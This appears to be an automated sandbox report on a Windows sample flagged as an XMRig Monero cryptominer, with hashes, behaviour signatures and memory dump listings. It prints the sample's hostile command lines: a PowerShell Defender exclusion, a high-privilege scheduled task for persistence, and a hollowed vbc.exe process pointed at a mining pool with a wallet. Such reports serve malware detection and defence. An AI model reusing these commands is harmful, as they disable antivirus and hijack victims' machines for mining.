Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    90s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 15:13

General

  • Target

    file.exe

  • Size

    2.7MB

  • MD5

    4f62eb4f1a2c1fc46df059120e6e6cef

  • SHA1

    bd2fcde45f562ec5b0c741fa102c3dfa0234d511

  • SHA256

    6ee27f5f4be9f1cfeb98b5190367ca60d1c81b527b730d808b4b29e30b44931d

  • SHA512

    38c9d721302f345a8c1efcf6d40a735e181b67d2fe8e19bf5a20e6347de325f1c974f553ad640553f1fe3546729600a8d485964a36fbb6d76d7c58244ac72dd3

  • SSDEEP

    49152:IvEl6mjUImipdKvT6QD66iMVptYC0qs7QVlWSwI9SrxCsU:IamScvPfOCHs8yCs

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
        3⤵
        • Creates scheduled task(s)
        PID:3920
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:736

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/736-159-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/736-172-0x0000024FD24C0000-0x0000024FD24E0000-memory.dmp

    Filesize

    128KB

  • memory/736-171-0x0000024FD0AF0000-0x0000024FD0B10000-memory.dmp

    Filesize

    128KB

  • memory/736-170-0x0000024FD24C0000-0x0000024FD24E0000-memory.dmp

    Filesize

    128KB

  • memory/736-169-0x0000024FD0AF0000-0x0000024FD0B10000-memory.dmp

    Filesize

    128KB

  • memory/736-168-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/736-165-0x0000024FD0AB0000-0x0000024FD0AF0000-memory.dmp

    Filesize

    256KB

  • memory/736-164-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/736-163-0x0000024FD0A70000-0x0000024FD0A90000-memory.dmp

    Filesize

    128KB

  • memory/736-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/736-161-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/3152-158-0x00007FF9F08A0000-0x00007FF9F08DB000-memory.dmp

    Filesize

    236KB

  • memory/3152-136-0x00007FF9D5CD0000-0x00007FF9D5D8D000-memory.dmp

    Filesize

    756KB

  • memory/3152-134-0x00007FF9F3790000-0x00007FF9F382E000-memory.dmp

    Filesize

    632KB

  • memory/3152-137-0x00007FF9F32F0000-0x00007FF9F3491000-memory.dmp

    Filesize

    1.6MB

  • memory/3152-151-0x0000000001640000-0x0000000001681000-memory.dmp

    Filesize

    260KB

  • memory/3152-150-0x0000000000630000-0x0000000000940000-memory.dmp

    Filesize

    3.1MB

  • memory/3152-152-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-133-0x00007FF9D60E0000-0x00007FF9D618A000-memory.dmp

    Filesize

    680KB

  • memory/3152-145-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-155-0x00007FF9D3170000-0x00007FF9D31A5000-memory.dmp

    Filesize

    212KB

  • memory/3152-156-0x00007FF9D05C0000-0x00007FF9D06C2000-memory.dmp

    Filesize

    1.0MB

  • memory/3152-144-0x00007FF9F19D0000-0x00007FF9F19F7000-memory.dmp

    Filesize

    156KB

  • memory/3152-135-0x00007FF9EF3F0000-0x00007FF9EF402000-memory.dmp

    Filesize

    72KB

  • memory/3152-139-0x0000000000630000-0x0000000000940000-memory.dmp

    Filesize

    3.1MB

  • memory/3152-157-0x00007FF9F3AD0000-0x00007FF9F3B3B000-memory.dmp

    Filesize

    428KB

  • memory/3152-143-0x00007FF9D33B0000-0x00007FF9D34FE000-memory.dmp

    Filesize

    1.3MB

  • memory/3152-142-0x0000000000630000-0x0000000000940000-memory.dmp

    Filesize

    3.1MB

  • memory/3152-138-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB

  • memory/3152-141-0x00007FF9F3580000-0x00007FF9F35AB000-memory.dmp

    Filesize

    172KB

  • memory/3152-140-0x0000000001640000-0x0000000001681000-memory.dmp

    Filesize

    260KB

  • memory/3152-166-0x0000000000630000-0x0000000000940000-memory.dmp

    Filesize

    3.1MB

  • memory/3152-167-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB

  • memory/4380-147-0x000001C776460000-0x000001C776482000-memory.dmp

    Filesize

    136KB

  • memory/4380-149-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB

  • memory/4380-148-0x00007FF9D4C80000-0x00007FF9D5741000-memory.dmp

    Filesize

    10.8MB